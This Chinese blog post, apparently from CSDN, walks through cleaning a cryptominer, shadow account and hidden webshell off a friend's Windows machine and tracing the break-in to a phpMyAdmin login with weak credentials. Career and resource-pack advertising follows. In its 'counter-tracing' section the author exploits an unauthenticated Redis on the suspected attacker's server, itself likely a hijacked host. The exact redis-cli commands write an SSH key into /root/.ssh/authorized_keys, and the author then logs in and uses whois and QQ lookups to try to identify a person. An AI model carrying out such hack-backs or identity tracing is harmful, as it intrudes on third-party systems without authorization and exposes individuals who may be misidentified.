个人电脑中挖矿病毒程序 一把梭直接定位到人,从零基础到精通,收藏这篇就够了!
阅读须知
文章仅供参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
前言
朋友抱怨自己的服务器非常卡,因为存储了很多项目资料和集成了众多环境。作为好友,我自然义无反顾地帮他检查。原本以为仅需进行简单的杀毒和文件整理便足够,但最终这个过程花费了不少时间。正好借此机会记录下整个过程,并写成这篇文章。
清除病毒
询问朋友是否下载了什么或在电脑上搭建了些什么,他回答说不知道,让我自己检查。当时我真想通过远程桌面(3389端口)过去给他一个响亮的耳光。但最终还是决定亲自处理。打开任务管理器,立刻注意到几个可疑的powershell进程。

PowerShell进程的占用率高居榜首,但具体执行的命令尚不明确。此时,利用WMIC工具可以查看进程在执行时的命令行参数,帮助进一步诊断问题。通过以下参数获取相关信息:
-
Caption: 显示进程名称
-
CommandLine: 展示具体的命令行参数
-
ParentProcessId: 显示父进程的PID
-
Process: 表示进程的PID

PowerShell中执行了一段被混淆的代码,这不是正常程序的典型行为。市面上有多种工具可以用来分析这类情况。可以使用火绒剑、ProcExp(Process Explorer)、或者ProcessHacker这些工具来查看命令行参数,进而帮助识别和解析这些可疑的操作。

使用火绒剑终止了PowerShell进程后,如果该进程再次出现,这表明存在一个守护进程,刚才终止的很可能只是一个子进程。此时,应该终止整个进程树以彻底根除问题。需要定位到PowerShell的父进程,并结束整个进程树,以防止潜在的挖矿程序重新启动。

使用wmic命令,找到相关进程

已确定进程ID为3616的进程。

已定位到进程ID为3604的进程。

已经找到了进程ID为3500的相关联进程。

以火绒剑工具为例,检查进程时发现,在列表的最下方,有5个以PID 3652运行的PowerShell进程,这些都是子进程。同时,PID为1972的scvhost.exe则是所有挖矿程序的父进程。

为彻底解决问题,可以直接结束整个进程树,这将同时终止父进程和所有相关的子进程。这一操作可以阻止挖矿程序的再次启动,并清除所有相关的恶意活动。

清理工作完成。
审计日志
关键在于找出是如何被侵入的。我特别检查了RDP日志,并查阅了安全日志,包括4624(登录成功)和4625(登录失败)事件。结果确实显示出有成功的登录记录。

接着我检查了注册表,看是否有新建的账户。果然,发现了一个隐藏的影子账户。
立即删除了该账户,并检查了启动项,这样一来便清楚了整个情况。

删除启动项

查看计划任务

为了验证进程和启动项的一致性,我计算了相关文件的MD5值。这样可以确保它们是匹配的。
certrutil -hashfile file MD5

我同样删除了所有相关项,认为处理已经完成。然而,在进程列表中,我意外地发现了phpstudy运行的痕迹。确实,由于桌面上没有图标,我之前未加以注意,这是我的疏忽。

随即,我使用了WebShellKiller工具对系统中的全局文件进行了彻底扫描,以确保没有遗漏任何潜在的威胁。


我用WebShellKiller进行了全面扫描,但没有发现任何异常。随后,我又使用了火绒病毒查杀工具进行检查,结果同样没有发现任何问题。

尽管扫描工具未发现任何问题,我依然不相信系统中没有后门。于是我决定亲自查看www目录下的每个文件,这个过程非常耗时且让人疲惫。经过长时间的搜索,我最终在news.php文件中发现了异常,如果不亲自打开查看,根本无法知晓。这个后门的免杀处理做得相当精巧。
在清除了潜藏的免杀马之后,我继续查看了web服务器的日志文件。在Apache的access.log和error.log中,我发现了一些特定的访问记录。这些记录显示某个IP在以下时间访问了phpMyAdmin:
-
[14/Dec/2020:14:26:37 +0800] 发送POST请求到 /phpMyAdmin-4.8.1-all-languages/version_check.php,响应状态码200,返回了28字节。
-
[14/Dec/2020:14:26:46 +0800] 发送POST请求到 /phpMyAdmin-4.8.1-all-languages/logout.php,响应状态码302,返回了8637字节。
-
[14/Dec/2020:14:26:51 +0800] 发送GET请求到 /phpMyAdmin-4.8.1-all-languages/index.php,响应状态码200,返回了3497字节。
这些记录揭示了使用的是phpMyAdmin的4.8.1版本。

最初我怀疑是通过暴力破解方式侵入的,但现在一切都清晰了。使用root/root这样简单的用户名和密码组合,几乎没有人会拒绝,尤其是考虑到我的朋友不太可能设置复杂的密码。这种情况下,即使是最基本的尝试也能轻易猜到密码。
反查追踪
确认了入侵点之后,我已经完成了清理工作,并获取了攻击者的IP地址。接下来,我打算进行溯源分析,于是启动了微步在线安全平台,以深入调查此次入侵的背景和攻击者的可能身份。

在确认攻击源后,我发现攻击IP自2018年以来就被标记为僵尸网络中的一员,且服务器位于日本,这使得溯源攻击者变得更加困难,很可能这台机器只是被利用作为肉鸡。这时,我回想到手头还有挖矿病毒的样本,决定先对这些样本进行分析。
我将主要的挖矿程序Systems.exe放入沙箱环境中运行,以隔离和观察其行为。此外,还有一个批处理文件Cmd1.bat和一个Windows命令脚本start.cmd,以及其他几个作为混淆用的无效文件。
下面是挖矿程序的详细信息:
-
样本名称: systems.exe
-
样本大小: 3662336字节
-
MD5: 4d8a76f89b0a68a6d5fc5b1b95257ec0
-
SHA1: d25a722636f2c1de313d481733b9c397925675eb
-
SHA256: eb1d6f905efcb27544c43e9107735a2160c3fa7180eff121a701dc6655ae0242
Cmd1.bat文件的作用是安装名为Networkss的恶意服务,设置start.cmd脚本自启动,并将nat目录下所有文件设置为只读的隐藏系统文件。而start.cmd则用于启动挖矿主程序并连接到矿池地址。svchost.exe文件则用来将自定义服务伪装成系统服务。
继续追踪被攻击的机器,我使用了一款插件简单检查了开放的端口,并发现6379端口(通常用于Redis服务)是开放的。为了进一步了解此端口的配置和潜在的安全风险,我决定使用nmap进行详细探测。
执行的nmap命令如下:
nmap -A -p 6379 --script redis-info [IP地址]
这条命令将对目标IP地址的6379端口进行详细扫描,使用redis-info脚本来获取Redis服务器的配置和状态信息,以帮助评估安全性和任何可能的配置错误。

在详细探测后,我尝试直接远程登录到开放的6379端口。令人惊讶的是,我竟然能够直接登录,这表明该服务缺乏必要的安全措施,如密码保护,暴露了严重的安全风险。这种状况通常是因为默认配置没有更改或安全设置被忽略。
在确认存在未授权访问的漏洞后,决定利用这一漏洞进行进一步的探测和测试。由于Redis服务允许未授权访问,且SSH服务也开启,选择了通过写入SSH公钥来远程登录的方式进行利用。这种方法相对直接且有效,下面是操作的详细步骤:
-
生成SSH公私钥:在本地计算机上使用
ssh-keygen -t rsa命令生成一对公私钥。 -
将公钥上传至目标主机的Redis:首先,将公钥内容保存到一个文本文件(例如
test.txt),然后使用以下Redis命令将公钥内容上传:cat test.txt | redis-cli -h xx.xx.xx.xx -x set crackit``redis-cli -h xx.xx.xx.xx``config set dir /root/.ssh/``config get dir/ -
设置公钥为authorized_keys:将上传的公钥文件设置为SSH认证所需的
authorized_keys:config set dbfilename "authorized_keys"``save -
使用SSH公钥登录:使用上传的私钥文件进行SSH登录:
ssh -i id_rsa root@x.x.x.x
这种方式不仅显示了目标机器的安全弱点,也突显了未授权访问的严重后果。在实际操作中,应该确保所有服务都进行了适当的安全配置,以防止此类风险。

在研究了系统的网络连接后,他立即注意到一个明显的外部IP连接。

纯粹的IP地址被他定位到相关的PID进程,让他发现了外部连接。
在/var/log/wtmp日志中,他继续查看了谁登录过这台主机,并根据Windows被入侵的时间段筛选了一遍。最终,在这个时间段内找到了相符的IP地址,而且用户是root,很有可能这个外连地址就是攻击者的真实服务器。Whois查询了一下ip

一种幸运之情涌上心头,他成功地关联到了QQ邮箱。
他直接搜索并添加了一个SVIP9级别的大佬的QQ,而且地点信息竟然精确到了某个省市区。
没有手机号,空间动态也无法查看,邮箱放在reg007中查了一遍,结果什么都没有。
至此就收工了。他不确定找的目标人物是否准确,之后顺手给朋友装了360,并且保留了火绒,提醒他别随意开启服务。
总结
-
首先,确定问题的根源,确认系统中了木马。
-
清除系统中的所有可疑进程、启动项、计划任务、后门以及异常账户。
-
使用审计主机和Web日志,定位入侵的具体入口。
-
通过反追踪技术获取到肉鸡权限,并发现外部连接的地址。
-
尽力溯源,确定具体人员身份(虽然不一定能百分百确认)。
计算机热门就业方向
从目前市场情况来讲,网络安全的就业前景是非常不错的,2022年的统计数据,网络安全专业的缺口已经增长到140万人。
1、就业岗位多,发展方向广
①就业环境:网络安全可以在计算机科学与技术、信息通信、电子商务、互联网金融、电子政务等领域从事相关工作,还可以在政府机关事业单位、银行、保险、证券等金融机构,电信、传媒等行业从事相关工作。

②就业岗位:网络安全工程师、渗透测试工程师、代码审计工程师、等级保护工程师、安全运维工程师、安全运营工程师、安全服务工程师等。

2、薪资待遇可观,提升较快
作为一个新兴行业,网络安全人才的市场需求远远大于供给,企业想真正招到人才,就必须在薪酬福利上有足够的竞争优势。因此,网络安全领域的薪资近年来也呈现稳步增长的态势。
根据工信部发布的《网络安全产业人才发展报告》显示,网络安全人才平均年薪为21.28万元,整体薪资水平较高。数据显示,网络安全人才年薪主要集中在10-20万元,占比40.62%,与往年持平;其次是20-30万元,占比为38.43%,较2020年占比19.48%有显著提高;而年薪在10万以下人才占比由2020年的19.74%下降至2022年的9.08%。由此可见,网络安全行业作为新兴赛道,尚在快速发展阶段,从业人员薪资水平提升较快,也显示出网络安全行业相对更重视人才留存。

3、职业发展空间大
从网络安全专业学习的主要内容来看,包括linux运维、Python开发、渗透测试、代码审计、等级保护、应急响应、风险评估等。可见该网络安全专业的技术性很强,具有鲜明的专业特点,是一门能够学到真正技术的工科类专业之一。
因此,在职业发展上,网络安全专业除了就业岗位众多之外,由于专业技术性较强,在工作单位将处于技术核心骨干地位,职业发展空间很大。
盘点网络安全的岗位汇总
0****1
岗位一:渗透测试工程师
**岗位释义:**模拟黑客攻击,利用黑客技术,挖掘漏洞,提出修复建议。有些大厂,例如奇安信,甚至会将渗透岗位分为红蓝两方,对候选人的技术要求比较高,大部分刚入行的新人,也将渗透岗位作为后期的发展目标。
岗位职责:
-
负责对客户网络、系统、应用进行渗透测试、安全评估和安全加固
-
在出现网络攻击或安全事件时,提供应急响应服务,帮助用户恢复系统及调查取证
-
针对客户网络架构,建议合理的网络安全解决方案
**工作难度:**5颗星
薪资现状:

0****2
岗位二:安全运维工程师
**岗位释义:**维护网络系统的正常、安全运行,如果受到黑客攻击,则需要进行应急响应和入侵排查安全加固。很多刚毕业入行的新人,基本都从运维做起。
岗位职责:
-
日常终端维护,操作系统安装加固
-
完成网络安全设备故障排查、处置
-
完成相关管理制度文档的编写和提交
**工作难度:**3颗星
薪资现状:

0****3
岗位三:安全运营工程师
**岗位释义:**在运维的基础上,高效可持续地不断提升企业的安全防御能力。
岗位职责:
-
负责监控、扫描等各类安全策略的制定和优化
-
负责信息安全事件的应急响应
-
参与网络安全评估工作、安全加固工作和监控等等
**工作难度:**3颗星
薪资现状:

0****4
岗位四:安全开发工程师
**岗位释义:**顾名思义,对安全产品及平台、策略等进行开发工作。
岗位职责:
-
负责网络安全产品的系统技术设计、代码开发与实现、单元测试、静态检查、本地构建等工作;
-
参与公司其他产品的系统技术设计以及研发工作。
**工作难度:**5颗星
薪资现状:

0****5
岗位五:等保测评工程师
**岗位释义:**等保测评也叫等级保护测评,主要负责开展信息安全等级保护测评、信息安全风险评估、应急响应、信息安全咨询等工作 。
岗位职责:
-
网络安全等级保护测评项目实施;
-
Web渗透测试、操作系统安全加固等安全项目实施配合
**工作难度:**3颗星
薪资现状:

0****6
岗位六:安全研究工程师
**岗位释义:**网络安全领域的研究人才。
岗位职责:
-
跟踪和分析国内外安全事件、发展趋势和解决方案
-
承担或参与创新型课题研究
-
参与项目方案设计,组织推动项目落实,完成研究内容、
-
负责网络安全关键技术攻关和安全工具研发
**工作难度:**5颗星
薪资现状:

0****7
岗位七:漏洞挖掘工程师
**岗位释义:**主要从事逆向、软件分析、漏洞挖掘工作
岗位职责:
-
通过模拟实施特定方法所获得的结果,评估计算机网络系统安全状况;
-
通过特定技术的实施,寻找网络安全漏洞,发现但不利用漏洞。
**工作难度:**5颗星
薪资现状:

0****8
岗位八:安全管理工程师
**岗位释义:**负责信息安全相关流程、规范、标准的制定和评审,负责公司整体安全体系建设。
岗位职责:
-
全业务系统网络安全技术体系的规划和建设,优化网络安全架构;
-
负责网络安全相关流程、规范、标准的指定和评审,高效处置突发事件;
-
负责网络安全防护系统的建设,提升网络安全保障水平;
**工作难度:**4颗星

0****9
岗位九:应急响应工程师
**岗位释义:**主要负责信息安全事件应急响应、攻击溯源、取证分析工作,参与应急响应、攻击溯源、取证分析技术的研究,提升整体重大信息安全事件应急处置能力。
岗位职责:
-
负责信息安全事件应急响应、攻击溯源、取证分析工作;
-
对安全事件的应急处置进行经验总结,开展应急响应培训;
-
负责各业务系统的上线前安全测试(黑盒白盒)及渗透测试工作;
-
参与应急响应、攻击溯源、取证分析技术的研究,提升整体重大信息安全事件应急处置能力。
-
跟踪国内外安全热点事件、主流安全漏洞、威胁情报、黑灰产动态并进行分析研究,形成应对方案;
**工作难度:**4颗星
薪酬现状:

10
岗位十:数据安全工程师
**岗位释义:**主要对公司的数据安全的日常维护和管理工作,确保公司数据安全。
岗位职责:
-
负责数据安全日常维护和管理工作,包括数据安全审核、数据安全事件的监控与响应、安全合规的审计与调查等;
-
负责数据安全标准规范的制定和管理,包括数据安全需求识别、风险分析、数据分级分类、数据脱敏、数据流转、泄露防护、权限管控等;推进相关安全管控策略在平台落地、执行。
-
负责开展与数据全生命周期管理有关的各项数据安全工作;
-
负责跨平台、跨地域数据传输、交互等数据安全方案制定与落地
-
定期组织开展数据安全自评工作,发现潜在数据安全风险,制定相应的管控措施,并推进落实整改。
**工作难度:**4颗星
薪酬现状:

网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取,或微信扫描下方二维码领取~
**读者福利 |** CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
我帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈)


👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或点击链接免费领取~
**读者福利 |** CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

更多推荐
所有评论(0)